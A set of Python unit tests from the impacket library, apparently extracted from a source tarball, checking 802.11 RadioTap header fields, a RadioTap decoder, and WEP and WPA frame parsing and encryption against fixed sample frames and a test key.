"""Test RadioTap dBm Antenna Signal getter/setter"""
# When exist the field
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_dBm_ant_signal(), 0xd9)
self.rt1.set_dBm_ant_signal(signal=0xF1)
self.assertEqual(self.rt1.get_dBm_ant_signal(), 0xF1)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
# When the field is new
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_dBm_ant_signal(), None)
self.rt0.set_dBm_ant_signal(signal=0xF1)
self.assertEqual(self.rt0.get_dBm_ant_signal(), 0xF1)
self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)
self.assertEqual(self.rt0.get_header_size(), 24+1)
def test_13_dbm_ant_noise_field(self):
"""Test RadioTap dBm Antenna Noise getter/setter"""
# When exist the field
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_dBm_ant_noise(), 0xa0)
self.rt1.set_dBm_ant_noise(signal=0xF1)
self.assertEqual(self.rt1.get_dBm_ant_noise(), 0xF1)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
# When the field is new
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_dBm_ant_noise(), None)
self.rt0.set_dBm_ant_noise(signal=0xF1)
self.assertEqual(self.rt0.get_dBm_ant_noise(), 0xF1)
self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)
self.assertEqual(self.rt0.get_header_size(), 24+1)
def test_14_lock_quality_field(self):
"""Test RadioTap Lock Quality getter/setter"""
# TODO: When exist the field
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_lock_quality(), None)
self.rt1.set_lock_quality(quality=0xABBA)
self.assertEqual(self.rt1.get_lock_quality(), 0xABBA)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
self.assertEqual(self.rt1.get_header_size(), 32+2)
def test_15_tx_attenuation_field(self):
"""Test RadioTap Tx Attenuation getter/setter"""
# TODO: When exist the field
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_tx_attenuation(), None)
self.rt1.set_tx_attenuation(power=0xABBA)
self.assertEqual(self.rt1.get_tx_attenuation(), 0xABBA)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
self.assertEqual(self.rt1.get_header_size(), 32+2)
def test_16_dB_tx_attenuation_field(self):
"""Test RadioTap dB Tx Attenuation getter/setter"""
# TODO: When exist the field
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_dB_tx_attenuation(), None)
self.rt1.set_dB_tx_attenuation(power=0xABBA)
self.assertEqual(self.rt1.get_dB_tx_attenuation(), 0xABBA)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
self.assertEqual(self.rt1.get_header_size(), 32+2)
def test_17_dbm_tx_power_field(self):
"""Test RadioTap dBm Tx Power getter/setter"""
# TODO: When exist the field
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_dBm_tx_power(), None)
self.rt1.set_dBm_tx_power(power=-8)
self.assertEqual(self.rt1.get_dBm_tx_power(), -8)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
self.assertEqual(self.rt1.get_header_size(), 32+1)
def test_18_antenna_field(self):
"""Test RadioTap Antenna getter/setter"""
# TODO: When the field is new
# When exist the field
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_antenna(), 0x02)
self.rt1.set_antenna(antenna_index=0xF1)
self.assertEqual(self.rt1.get_antenna(), 0xF1)
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_antenna(), 0x00)
self.rt0.set_antenna(antenna_index=0xF1)
self.assertEqual(self.rt0.get_antenna(), 0xF1)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
def test_19_db_ant_signal_field(self):
"""Test RadioTap dB Antenna Signal getter/setter"""
# When exist the field
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_dB_ant_signal(), 0x1e)
self.rt0.set_dB_ant_signal(signal=0xF1)
self.assertEqual(self.rt0.get_dB_ant_signal(), 0xF1)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_dB_ant_signal(), None)
self.rt1.set_dB_ant_signal(signal=0xF1)
self.assertEqual(self.rt1.get_dB_ant_signal(), 0xF1)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
self.assertEqual(self.rt1.get_header_size(), 32+1)
def test_20_db_ant_noise_field(self):
"""Test RadioTap dB Antenna Noise getter/setter"""
# TODO: When exist the field
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_dB_ant_noise(), None)
self.rt1.set_dB_ant_noise(signal=0xF1)
self.assertEqual(self.rt1.get_dB_ant_noise(), 0xF1)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
self.assertEqual(self.rt1.get_header_size(), 32+1)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_dB_ant_noise(), None)
self.rt0.set_dB_ant_noise(signal=0xF1)
self.assertEqual(self.rt0.get_dB_ant_noise(), 0xF1)
self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)
self.assertEqual(self.rt0.get_header_size(), 24+1)
# def test_21_rx_flags_field(self):
# """Test RadioTap RX Flags getter/setter"""
# # When the field is new
# # TODO: When exist the field
# self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))
# self.assertEqual(self.rt2.get_header_size(),32)
# self.assertEqual(self.rt2.get_rx_flags(),None)
# self.rt2.set_rx_flags( signal=0xABBA )
# self.assertEqual(self.rt2.get_rx_flags(),0xABBA)
# self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+2)
# self.assertEqual(self.rt2.get_header_size(),32+2)
def test_22_fcs_in_header_field(self):
"""Test RadioTap FCS in header getter/setter"""
# When exist the field
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
self.assertEqual(self.rt0.get_FCS_in_header(), 0x00000000)
self.rt0.set_FCS_in_header(fcs=0x89ABCDEF)
self.assertEqual(self.rt0.get_FCS_in_header(), 0x89ABCDEF)
self.assertEqual(self.rt0.get_size(), len(self.frame_0))
self.assertEqual(self.rt0.get_header_size(), 24)
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_FCS_in_header(), None)
self.rt1.set_FCS_in_header(fcs=0x89ABCDEF)
self.assertEqual(self.rt1.get_FCS_in_header(), 0x89ABCDEF)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+4)
self.assertEqual(self.rt1.get_header_size(), 32+4)
# def test_23_rssi_field(self):
# """Test RadioTap RSSI getter/setter"""
# # When the field is new
# self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))
# self.assertEqual(self.rt2.get_header_size(),32)
# self.assertEqual(self.rt2.get_RSSI(),None)
# self.rt2.set_RSSI( rssi=0xBA, max_rssi=0xAB )
# self.assertEqual(self.rt2.get_RSSI(),( 0xBA, 0xAB))
# self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+2)
# self.assertEqual(self.rt2.get_header_size(),32+2)
# # TODO: When exist the field
def test_24_rts_retries_field(self):
"""Test RadioTap RTS retries getter/setter"""
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_RTS_retries(), None)
self.rt1.set_RTS_retries(retries=0xBA)
self.assertEqual(self.rt1.get_RTS_retries(), 0xBA)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
self.assertEqual(self.rt1.get_header_size(), 32+1)
# TODO: When exist the field
def test_25_tx_flags_field(self):
"""Test RadioTap TX flags getter/setter"""
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_tx_flags(), None)
self.rt1.set_tx_flags(flags=0xABBA)
self.assertEqual(self.rt1.get_tx_flags(), 0xABBA)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
self.assertEqual(self.rt1.get_header_size(), 32+2)
# TODO: When exist the field
def test_26_xchannel_field(self):
"""Test RadioTap xchannel getter/setter"""
(ch_type, ch_freq, ch_num, ch_maxpower) = self.rt1.get_xchannel()
self.assertEqual(ch_type, 0x00000140)
self.assertEqual(ch_freq, 5180)
self.assertEqual(ch_num, 36)
self.assertEqual(ch_maxpower, 0x11)
(ch_type, ch_freq, ch_num, ch_maxpower) = (0x12345678, 1234, 12, 34)
self.rt1.set_xchannel(flags=ch_type, freq=ch_freq, channel=ch_num, maxpower=ch_maxpower)
(nch_type, nch_freq, nch_num, nch_maxpower) = self.rt1.get_xchannel()
self.assertEqual(ch_type, nch_type)
self.assertEqual(ch_freq, nch_freq)
self.assertEqual(ch_num, nch_num)
self.assertEqual(ch_maxpower, nch_maxpower)
def test_27_data_retries_field(self):
"""Test RadioTap Data retries getter/setter"""
# When the field is new
self.assertEqual(self.rt1.get_size(), len(self.frame_1))
self.assertEqual(self.rt1.get_header_size(), 32)
self.assertEqual(self.rt1.get_data_retries(), None)
self.rt1.set_data_retries(retries=0xAB)
self.assertEqual(self.rt1.get_data_retries(), 0xAB)
self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
self.assertEqual(self.rt1.get_header_size(), 32+1)
# TODO: When exist the field
# def test_28_hardware_queue_field(self):
# """Test RadioTap Hardware Queue getter/setter"""
# # When the field is new
# self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))
# self.assertEqual(self.rt2.get_header_size(),32)
# self.assertEqual(self.rt2.get_hardware_queue(),None)
# self.rt2.set_hardware_queue( queue=0xAB )
# self.assertEqual(self.rt2.get_hardware_queue(),0xAB)
# self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+1)
# self.assertEqual(self.rt2.get_header_size(),32+1)
# # TODO: When exist the field
def test_29_radiotap_length_field(self):
"""Test RadioTap header length field"""
# RadioTap from scratch calling get_length() and then get_packet()
rt = RadioTap()
# 0x08 bytes is the minimal headers size:
# 1 byte Revision
# 1 byte pad
# 2 bytes header length
# 4 bytes present flags
self.assertEqual(rt.get_header_length(), 0x08)
raw_packet = rt.get_packet()
self.assertEqual(raw_packet, "\x00\x00\x08\x00\x00\x00\x00\x00")
# RadioTap from scratch without call to get_length()
raw_packet = RadioTap().get_packet()
self.assertEqual(raw_packet, "\x00\x00\x08\x00\x00\x00\x00\x00")
def test_30_radiotap_length_filed_with_payload(self):
"""Test RadioTap header length field with payload"""
# RadioTap from scratch calling get_length() and then get_packet()
rt = RadioTap()
self.assertEqual(rt.get_header_length(), 0x08)
data = Data("aa")
rt.contains(data)
self.assertEqual(rt.get_header_length(), 0x08) # The header length is the same
raw_packet = rt.get_packet()
self.assertEqual(raw_packet, "\x00\x00\x08\x00\x00\x00\x00\x00aa")
def test_31_radiotap_present_flags_extended(self):
"""Test RadioTap extended present flags"""
self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_EXT), True)
self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_RATE), True)
self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_CHANNEL), True)
self.assertEqual(self.rt2.get_channel(), (2412, 192))
self.assertEqual(self.rt2.get_rate(), 2)
self.assertEqual(self.rt2.get_dBm_ant_signal(), 0xa6)
self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_EXT), True)
self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_RATE), True)
self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_CHANNEL), True)
self.assertEqual(self.rt3.get_channel(), (2412, 192))
self.assertEqual(self.rt3.get_rate(), 2)
self.assertEqual(self.rt3.get_dBm_ant_signal(), 0xa6)
if __name__ == "__main__":
suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTap)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_RadioTapDecoder.py 0000600 0000765 0000000 00000006122 12734531507 024577 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from ImpactDecoder import RadioTapDecoder
import dot11, ImpactPacket
from binascii import hexlify
import unittest
class TestRadioTapDecoder(unittest.TestCase):
def setUp(self):
self.RadioTapData='\x00\x00\x20\x00\x67\x08\x04\x00\x30\x03\x1a\x25\x00\x00\x00\x00\x22\x0c\xd9\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36'
self.radiotap_decoder = RadioTapDecoder()
self.in0=self.radiotap_decoder.decode(self.RadioTapData)
self.in1=self.in0.child()
self.in2=self.in1.child()
self.in3=self.in2.child()
self.in4=self.in3.child()
self.in5=self.in4.child()
self.in6=self.in5.child()
def test_00(self):
'Test RadioTap decoder'
self.assertEqual(str(self.in0.__class__), "dot11.RadioTap")
def test_01(self):
'Test Dot11 decoder'
self.assertEqual(str(self.in1.__class__), "dot11.Dot11")
def test_02(self):
'Test Dot11DataFrame decoder'
self.assertEqual(str(self.in2.__class__), "dot11.Dot11DataFrame")
def test_03(self):
'Test LLC decoder'
self.assertEqual(str(self.in3.__class__), "dot11.LLC")
def test_04(self):
'Test SNAP decoder'
self.assertEqual(str(self.in4.__class__), "dot11.SNAP")
# def test_05(self):
# 'Test ARP decoder'
# self.assertEqual(str(self.in5.__class__), "ImpactPacket.ARP")
# def test_05(self):
# 'Test Data decoder'
# self.assertEqual(str(self.in6.__class__), "ImpactPacket.Data")
def test_06(self):
'Test Protocol Finder'
p=self.radiotap_decoder.get_protocol(dot11.RadioTap)
self.assertEqual(str(p.__class__), "dot11.RadioTap")
p=self.radiotap_decoder.get_protocol(dot11.Dot11)
self.assertEqual(str(p.__class__), "dot11.Dot11")
p=self.radiotap_decoder.get_protocol(dot11.Dot11DataFrame)
self.assertEqual(str(p.__class__), "dot11.Dot11DataFrame")
p=self.radiotap_decoder.get_protocol(dot11.LLC)
self.assertEqual(str(p.__class__), "dot11.LLC")
p=self.radiotap_decoder.get_protocol(dot11.SNAP)
self.assertEqual(str(p.__class__), "dot11.SNAP")
#p=self.radiotap_decoder.get_protocol(ImpactPacket.ARP)
#self.assertEqual(str(p.__class__), "ImpactPacket.ARP")
#p=self.radiotap_decoder.get_protocol(ImpactPacket.Data)
#self.assertEqual(str(p.__class__), "ImpactPacket.Data")
# When not found, None is returned
p=self.radiotap_decoder.get_protocol(dot11.Dot11WPA)
self.assertEqual(p, None)
suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTapDecoder)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_WEPDecoder.py 0000600 0000765 0000000 00000012414 12734531507 023530 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WEP,Dot11WEPData
from ImpactPacket import IP,ICMP
from Dot11KeyManager import KeyManager
from ImpactDecoder import Dot11Decoder
from binascii import hexlify
import unittest
class TestDot11WEPData(unittest.TestCase):
def setUp(self):
# 802.11 Data Frame
#
self.dot11frame = '\x08\x41\x2c\x00\x00\x21\x29\x68\x33\x5d\x00\x18\xde\x7c\x37\x9f\x00\x21\x29\x68\x33\x5b\xf0\xd6\x0c\x31\x65\x00\x8d\x23\x81\xe9\x25\x1c\xb5\xaa\x83\xd2\xc7\x16\xba\x6e\xe1\x8e\x7d\x3a\x2c\x71\xc0\x0f\x6a\xb8\x2f\xbc\x54\xc4\xb0\x14\xab\x03\x11\x5e\xde\xcc\xab\x2b\x18\xeb\xeb\x25\x0f\x75\xeb\x6b\xf5\x7f\xd6\x5c\xb9\xe1\xb2\x6e\x50\xba\x4b\xb4\x8b\x9f\x34\x71\xda\x9e\xcf\x12\xcb\x8f\x36\x1b\x02\x53'
d = Dot11(self.dot11frame, FCS_at_end = False)
self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)
self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)
self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
data = Dot11DataFrame(d.get_body_as_string())
d.contains(data)
self.wep_header = Dot11WEP(data.body_string)
data.contains(self.wep_header)
self.wep_data = Dot11WEPData(self.wep_header.body_string)
self.wep_header.contains(self.wep_data)
self.km=KeyManager()
self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5d],'999cbb701ca2ef030e302dcc35'.decode('hex_codec'))
def test_01(self):
'Test WEPHeader is_WEP method'
self.assertEqual(self.wep_header.is_WEP(), True)
def test_02(self):
'Test Packet Hierarchy'
dot11_decoder = Dot11Decoder()
dot11_decoder.FCS_at_end(False)
dot11_decoder.set_key_manager(self.km)
in0=dot11_decoder.decode(self.dot11frame)
self.assertEqual(str(in0.__class__), "dot11.Dot11")
in1=in0.child()
self.assertEqual(str(in1.__class__), "dot11.Dot11DataFrame")
in2=in1.child()
self.assertEqual(str(in2.__class__), "dot11.Dot11WEP")
in3=in2.child()
self.assertEqual(str(in3.__class__), "dot11.Dot11WEPData")
in4=in3.child()
self.assertEqual(str(in4.__class__), "dot11.LLC")
in5=in4.child()
self.assertEqual(str(in5.__class__), "dot11.SNAP")
in6=in5.child()
#self.assertEqual(str(in6.__class__), "ImpactPacket.IP")
in7=in6.child()
#self.assertEqual(str(in7.__class__), "ImpactPacket.ICMP")
in8=in7.child()
#self.assertEqual(str(in8.__class__), "ImpactPacket.Data")
self.assertEqual(in8.get_packet(),'abcdefghijklmnopqrstuvwabcdefghi')
def test_03(self):
'Test WEPHeader IV getter and setter methods'
self.assertEqual(self.wep_header.get_iv(), 0x0c3165)
self.wep_header.set_iv(0x1e0501) # Es de 24 bit
self.assertEqual(self.wep_header.get_iv(), 0x1e0501)
def test_04(self):
'Test WEPHeader keyID getter and setter methods'
self.assertEqual(self.wep_header.get_keyid(), 0x00)
self.wep_header.set_iv(0x03) # Es de 2 bits
self.assertEqual(self.wep_header.get_iv(), 0x03)
def test_05(self):
'Test WEPData ICV getter and setter methods'
dot11_decoder = Dot11Decoder()
dot11_decoder.FCS_at_end(False)
dot11_decoder.set_key_manager(self.km)
dot11_decoder.decode(self.dot11frame)
wepdata = dot11_decoder.get_protocol(Dot11WEPData)
# The encrypted ICV is 0x361b0253, but it not the real,
# we need decrypt it. The decrypted and real ICV is 0xA1F93985
self.assertEqual(wepdata.get_icv(),0xA1F93985)
self.assertEqual(wepdata.get_computed_icv(),0xA1F93985)
self.assertEqual(wepdata.get_icv(), wepdata.get_computed_icv())
wepdata.set_icv(0x11223344)
self.assertEqual(wepdata.get_icv(), 0x11223344)
def test_06(self):
'Test WEPData body decryption'
dot11_decoder = Dot11Decoder()
dot11_decoder.FCS_at_end(False)
dot11_decoder.set_key_manager(self.km)
dot11_decoder.decode(self.dot11frame)
wep = dot11_decoder.get_protocol(Dot11WEP)
wepdata = dot11_decoder.get_protocol(Dot11WEPData)
decrypted = '\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x3c\xa6\x07\x00\x00\x80\x01\xee\x5a\xc0\xa8\x01\x66\x40\xe9\xa3\x67\x08\x00\xc5\x56\x04\x00\x84\x05\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x61\x62\x63\x64\x65\x66\x67\x68\x69\xa1\xf9\x39\x85'
self.assertEqual(wepdata.get_packet(), decrypted)
self.assertEqual(wepdata.check_icv(), True)
ip = dot11_decoder.get_protocol(IP)
self.assertEqual(ip.get_ip_src(),'192.168.1.102')
self.assertEqual(ip.get_ip_dst(),'64.233.163.103')
icmp = dot11_decoder.get_protocol(ICMP)
self.assertEqual(icmp.get_icmp_type(),icmp.ICMP_ECHO)
self.assertEqual(icmp.get_icmp_id(),0x0400)
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WEPData)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_WEPEncoder.py 0000600 0000765 0000000 00000010577 12734531507 023552 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
import dot11
import ImpactPacket
from Dot11KeyManager import KeyManager
from ImpactDecoder import Dot11Decoder
from binascii import hexlify
import unittest
class TestDot11WEPData(unittest.TestCase):
def setUp(self):
self.dot11 = dot11.Dot11(FCS_at_end = False)
# dot11.fc
self.dot11.set_version(0)
self.dot11.set_type_n_subtype(dot11.Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
# dot11.fc.flags
self.dot11.set_fromDS(0)
self.dot11.set_toDS(1)
self.dot11.set_moreFrag(0)
self.dot11.set_retry(0)
self.dot11.set_powerManagement(0)
self.dot11.set_moreData(0)
self.dot11.set_protectedFrame(1)
self.dot11.set_order(0)
# dot11.Data
self.dot11data = dot11.Dot11DataFrame()
self.dot11data.set_duration(44)
self.dot11data.set_address1([0x00,0x21,0x29,0x68,0x33,0x5d]) # Bssid
self.dot11data.set_address2([0x00,0x18,0xde,0x7c,0x37,0x9f]) # Source
self.dot11data.set_address3([0x00,0x21,0x29,0x68,0x33,0x5d]) # Destination
self.dot11data.set_fragment_number(0)
self.dot11data.set_sequence_number(3439)
# WEP
self.wep = dot11.Dot11WEP()
self.wep.set_iv(0x0c3165)
self.wep.set_keyid(0)
# WEPData
self.wepdata = dot11.Dot11WEPData()
# LLC
self.llc = dot11.LLC()
self.llc.set_DSAP(0xaa)
self.llc.set_SSAP(0xaa)
self.llc.set_control(0x03)
# SNAP
self.snap = dot11.SNAP()
self.snap.set_OUI(0x000000)
self.snap.set_protoID(0x0800)
# IP
self.ip = ImpactPacket.IP()
self.ip.set_ip_v(0x04)
self.ip.set_ip_tos(0x00)
self.ip.set_ip_id(0xa607)
# IP.flags
self.ip.set_ip_rf(0)
self.ip.set_ip_df(0)
self.ip.set_ip_mf(0)
#
self.ip.set_ip_off(0)
self.ip.set_ip_ttl(128)
self.ip.set_ip_p(0x01) # ICMP
self.ip.set_ip_src('192.168.1.102')
self.ip.set_ip_dst('64.233.163.103')
# ICMP
self.icmp = ImpactPacket.ICMP()
self.icmp.set_icmp_type(self.icmp.ICMP_ECHO)
self.icmp.set_icmp_code(0x00)
self.icmp.set_icmp_id(0x0400)
self.icmp.set_icmp_seq(0x8405)
# Data
datastring = 'abcdefghijklmnopqrstuvwabcdefghi'
self.data = ImpactPacket.Data( datastring )
# Build the protocol stack
self.dot11.contains(self.dot11data)
self.dot11data.contains(self.wep)
self.wep.contains(self.wepdata)
self.wepdata.contains(self.llc)
self.llc.contains(self.snap)
self.snap.contains(self.ip)
self.ip.contains(self.icmp)
self.icmp.contains(self.data)
# Instantiated the Key Manager
self.km=KeyManager()
self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5b],'999cbb701ca2ef030e302dcc35'.decode('hex_codec'))
def test_02(self):
'Test ICV methods'
self.assertEqual(self.wepdata.get_icv(),0x00000000)
self.assertEqual(self.wepdata.get_computed_icv(),0xA1F93985)
self.wepdata.set_icv(0xA1F93985)
self.assertEqual(self.wepdata.get_icv(), self.wepdata.get_computed_icv())
self.wepdata.set_icv(0x01020304)
self.assertEqual(self.wepdata.get_icv(),0x01020304)
def test_03(self):
'Test WEPData creation from scratch with encryption'
#print "\nWEP Data Decrypted [%s]"%hexlify(self.wepdata.get_packet())
self.wepdata.set_icv(0xA1F93985)
wep_enc=self.wep.get_encrypted_data('999cbb701ca2ef030e302dcc35'.decode('hex_codec'))
#print "\nWEP Data Encrypted [%s]"%hexlify(wep_enc)
self.assertEqual(wep_enc,'8d2381e9251cb5aa83d2c716ba6ee18e7d3a2c71c00f6ab82fbc54c4b014ab03115edeccab2b18ebeb250f75eb6bf57fd65cb9e1b26e50ba4bb48b9f3471da9ecf12cb8f361b0253'.decode('hex_codec'))
#print "\nDot11 decrypted [%s]"%hexlify(self.dot11.get_packet())
self.wep.encrypt_frame('999cbb701ca2ef030e302dcc35'.decode('hex_codec'))
#print "\nDot11 encrypted [%s]"%hexlify(self.dot11.get_packet())
suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WEPData)
unittest.TextTestRunner(verbosity=2).run(suite)
impacket-0.9.15/impacket/testcases/dot11/test_WPA.py 0000600 0000765 0000000 00000013120 12734531507 022231 0 ustar beto wheel 0000000 0000000 #!/usr/bin/env python
# sorry, this is very ugly, but I'm in python 2.5
import sys
sys.path.insert(0,"../..")
from dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA,Dot11WPAData
from binascii import hexlify
import unittest
class TestDot11WPAData(unittest.TestCase):
def setUp(self):
# 802.11 Data Frame
#
self.frame_orig='\x08\x42\x00\x00\xff\xff\xff\xff\xff\xff\x00\x21\x29\x68\x33\x5d\x00\x1b\xfc\x1e\xca\x40\xa0\x16\x02\x22\x5a\x60\x00\x00\x00\x00\xa2\x0e\x77\x36\xea\x90\x76\x0f\x7a\x9f\x6e\x6c\x78\xb9\xe0\x3e\xb4\x9d\x09\xca\xde\xef\x95\x58\x28\x97\x17\x46\x53\x43\x41\x2b\x2a\xc6\xbe\xe4\x59\x60\xf0\x17\x1d\x20\x8c\xca\x3c\x26\x0d\x5d\x6b\x10\x81\xbc\xc6\xba\x90\xa5\x77\x0e\x83\xd0\xd0\xb9\xdd\xbf\x80\xbf\x65\x17\xee\xc0\x3a\x52\x32\x34\x75\xac\x0c\xc2\xbb\x25\x28\x8f\x6a\xe6\x96\x7a\x53\x4a\x77\xcc\x2b\xe5\x9a\x9a\x73\xc2\x08\x4c\x42\x15\xe9\x26\xa0\xce\x70\x0e\x50\x9b\x2d\xa2\x6e\xcb\x92\x54\xc0\x6d\xbc\x13\xfe\x4d\xd8\x6b\x8c\x76\x98\x9a\x71\x4d\x51\xb1\xf5\x4f\xe2\x43\x1b\xfa\x6f\x5c\x98\x6a\x3a\x64\x4f\x50\xc4\x09\x7d\x10\x3f\xa2\x64\xd9\xad\x6e\x44\xe3\x84\x3d\x2b\x77\x11\xd8\x04\x9d\x9d\xd4\x32\x35\xe8\x3d\xeb\xd5\x9a\xde\xf3\xb5\x41\x67\x94\xf9\xb1\xe0\x7a\xea\x33\xb2\x00\xef\x6a\x2e\x6c\x3b\xea\x23\x49\x23\xc2\xca\x24\x53\xea\xc0\x7e\x8c\xcf\x73\xcb\x2d\x0c\x8e\xdb\x7b\x9e\x0a\x66\x81\x90'
d = Dot11(self.frame_orig)
self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)
self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)
self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
data = Dot11DataFrame(d.get_body_as_string())
d.contains(data)
self.wpa_header = Dot11WPA(data.body_string)
data.contains(self.wpa_header)
self.wpa_data = Dot11WPAData(self.wpa_header.body_string)
self.wpa_header.contains(self.wpa_data)
def test_01_is_WPA(self):
'Test WPAHeader is_WPA method'
self.assertEqual(self.wpa_header.is_WPA(), True)
def test_03_extIV(self):
'Test WPAHeader extIV getter and setter methods'
self.assertEqual(self.wpa_header.get_extIV(), 0x01)
self.wpa_header.set_extIV(0x00) # Es de 1 bit
self.assertEqual(self.wpa_header.get_extIV(), 0x00)
def test_04_keyid(self):
'Test WPAHeader keyID getter and setter methods'
self.assertEqual(self.wpa_header.get_keyid(), 0x01)
self.wpa_header.set_keyid(0x03) # Es de 2 bits
self.assertEqual(self.wpa_header.get_keyid(), 0x03)
#TODO: Test get_decrypted_data
#def test_05_get_decrypted_data(self):
def test_06_WEPSeed(self):
'Test WPAData WEPSeed getter and setter methods'
# TSC0
self.assertEqual(self.wpa_header.get_WEPSeed(), 0x22)
